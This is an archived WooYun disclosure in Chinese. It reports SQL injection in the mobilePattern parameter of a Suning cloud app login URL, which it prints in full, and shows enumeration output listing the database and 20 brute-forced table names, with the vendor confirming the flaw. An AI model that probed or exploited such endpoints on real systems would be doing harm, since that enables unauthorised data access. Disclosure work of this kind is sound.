[公开漏洞]苏宁易购某APP存在SQL注射漏洞之二 - 漏洞预警

苏宁易购某APP存在SQL注射漏洞之二相关厂商：江苏苏宁易购电子商务有限公司漏洞作者：魇提交时间：2014-05-11 13:21 公开时间：2014-06-25 13:22 漏洞类型：SQL注射漏洞危害等级：高自评Rank：12 漏洞状态：厂商已经确认漏洞来源：http://www.wooyun.org Tags标签：无漏洞详情披露状态：

2014-05-11：细节已通知厂商并且等待厂商处理中
2014-05-12：厂商已经确认，细节仅向厂商公开
2014-05-22：细节向核心白帽子及相关领域专家公开
2014-06-01：细节向普通白帽子公开
2014-06-11：细节向实习白帽子公开
2014-06-25：细节向公众公开

简要描述：

sql注入

详细说明：

苏宁云APP

登录帐号处：

https://cloud.suning.com/cloud-api/login/logon?mobileClientVersion=2.1.8&data=6D2599ED208426E6130B074E0F79B20F8CF372D8B8E0B52FCC967EBEAAAD284AB18F74EA231FB30452D8B2479B792EF6D5B9F0B25418C0A94B5C5414F86472FA16A1637AF794AD941B78BFF44066B780&uid=186********&logonType=2&mobileSystemVersion=4.2.1&mobilePattern=M353&   

mobilePattern参数存在注入

uid这里因为是我自己的手机帐号，所以人工打码，勿介意...

数据库：pan

available databases [1]:

[*] pan

漏洞证明：

获取不到数据库的表，于是暴力破解表名：

Current database

[20 tables]

+-------------------------+

| Aircraft                |

| DIM_TYPE                |

| Descriptions_Scripts    |

| THOT_SUB_MENU           |

| POSITION                |

| binn_cform_settings     |

| bkp_RS_Clusters         |

| changeTva               |

| dtb_bat_relate_products |

| dtb_mailtemplate        |

| federationApplicants    |

| geo_Source              |

| glas                    |

| log_fake_referers       |

| melodies                |

| most_recent_checksum    |

| province                |

| trigger_depends         |

| users_sessions          |

| vrls_listings           |

+-------------------------+

修复方案：

唉..多给点RANK？

危害等级：高

漏洞Rank：15

确认时间：2014-05-12 10:15

厂商回复：

感谢您对苏宁易购的关注，正在安排人员对此漏洞进行修复。